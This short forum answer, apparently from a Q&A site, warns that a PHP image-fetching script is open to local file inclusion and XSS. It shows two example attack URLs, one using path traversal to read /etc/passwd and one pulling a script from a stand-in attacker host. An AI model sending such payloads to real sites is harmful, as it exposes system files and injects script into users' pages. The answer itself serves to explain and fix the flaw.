Get image from other site in PHP
Your code is vulnerable to LFI and XSS. 

http://localhost/yourscript.php?url=../../../../../../etc/passwd


This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php


This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.